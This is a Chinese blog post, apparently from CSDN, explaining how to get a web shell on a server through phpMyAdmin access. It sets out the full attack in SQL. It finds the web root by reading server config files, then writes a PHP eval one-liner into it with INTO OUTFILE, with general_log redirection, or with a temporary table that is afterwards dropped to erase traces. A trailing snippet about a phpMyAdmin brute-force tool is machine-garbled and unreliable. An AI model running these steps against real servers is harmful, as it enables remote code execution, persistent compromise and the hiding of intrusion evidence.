phpmyadmin的Getshell思路

信息收集:

此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell。

select @@datadir:查询数据库存储路径来推测网站物理路径,也可以通过log变量得到

# Windows
c:windows/php.ini:php配置文件
c:windows/system32/inetsrvMetaBase.xml:IIS虚拟主机配置文件
# Linux
/etc/php.ini:php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf: Apache配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf:虚拟目录配置文件

前提条件:

  • 网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell。
  • 读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生。
select @@secure_file_priv     #查看参数
secure_file_priv=NULL        #禁止导入导出
secure_file_priv=''         #不限制导入导出
secure_file_priv=/path/    #只能向指定目录导入导出
select load_file('c:/phpinfo.php');        #读取文件
select '123' into outfile 'c:/shell.php';  #写入文件

通过日志Getshell(mysql5.0以上版本):

进入到phpmyadmin后台以后,找到变量点击在这里插入图片描述然后搜索general,找到对应的general log 默认是OFF,将其编辑为ON,然后将默认的general_log_file ,也就是系统日志文件位置修改为网站根目录在这里插入图片描述比如:修改general log file的位置为:D:\phpStudy\PHPTutorial\www\1.php
这样当点击save的时候,就会在根目录中新建一个1.php的日志文件。
在这里插入图片描述
然后在通过SQL语句执行:select '<?php eval($_POST[cmd]);?>' into outfile 'D:\phpStudy\PHPTutorial\www\1.php';
其实原理很简单,这句语句的意思就是写入一个一句话到1.php文件中,当我们开启了日志记录并且修改了记录日志的文件为1.php以后,此时无论我们执行什么样的sql语句,都是会记录到1.php中。

当然了也可以直接通过sql语句来执行上面的操作:

show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>'  #写入shell

新建表Getshell:

  • 进入一个数据库,新建数据表。
  • 名字随意,这里为shell_table
  • 字段数填1
    在这里插入图片描述
  • 添加字段
  • 字段名任意,这里为xiaoma
  • 字段类型为TEXT
    在这里插入图片描述
  • 在该表中点击插入,值为一句话木马
<?php eval($_POST[pwd]); ?>'

在这里插入图片描述

  • 执行SQL查询,将该表中的内容导出到指定文件
select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

在这里插入图片描述

  • 删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;
  • 以上步骤也可以通过MySQL语句执行
Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>');  -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php';   -- 导出
Drop TABLE IF EXISTS shell_table;    -- 删表
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
我正在网上搜刮了一下没发明相干的东西, 因而本身出手翰单真现这听命, 而今phpMyAdmin3.2.5,phpMyAdmin3.2.1、phpMyAdmin2.11.2版本测试均成功! 此东西仅供网友技术进修交换利用,请勿利用于犯警用处。 MySQL数据库字典,人人就本身网上支散了! 当前版本 v1.2 MD5:541465699949f3d60fcea923ccf245b2 sha1:e23d7ce46606d530abc4a9e473bdb0b5247aaff1 – ver1.2 措置对phpMyAdmin3.2.5版本暴破有标题问题,删加了一个工作线程, 美化了界面。 – ver1.1 1.0版本有个标题问题,正在win7、vista下都不能正常扫描, 现曾纠正过往。 ————————————————— 技术总结: 《vc6建正删除cookie真现》 InternetSetCookie函数太老,能建正一般cookie值,但是正在win7下高版本Wininet.DLL中无法让HTTPONLY类型的cookie过时, 要利用InternetSetCookieEx函数才成功,正在vs2010下直接用该函数,vc6下本身加载模块查找函数, vc6下查找利用该函数删除cookie以下: HINSTANCE hInst = LoadLibrary(“Wininet.DLL”); if(hInst) { typedef BOOL (WINAPI *pfnInternetSetCookieEx)(LPCSTR, LPCSTR, LPCSTR, DWORD, DWORD); pfnInternetSetCookieEx InternetSetCookieEx = NULL; InternetSetCookieEx = (pfnInternetSetCookieEx)GetProcAddress(hInst, “InternetSetCookieExA”); //InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); FreeLibrary(hInst); } 寄看,要分隔设置cookie字段,不能一次设置多个字段,不然不成功,下面的语句只要第一个字段被设置成功,其它字段均不成功! InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; pma_mcrypt_iv=; pmaUser-1=; pmaPass-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); 精确理当如许写, InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pma_mcrypt_iv=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pmaUser-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pmaPass-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); 1>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值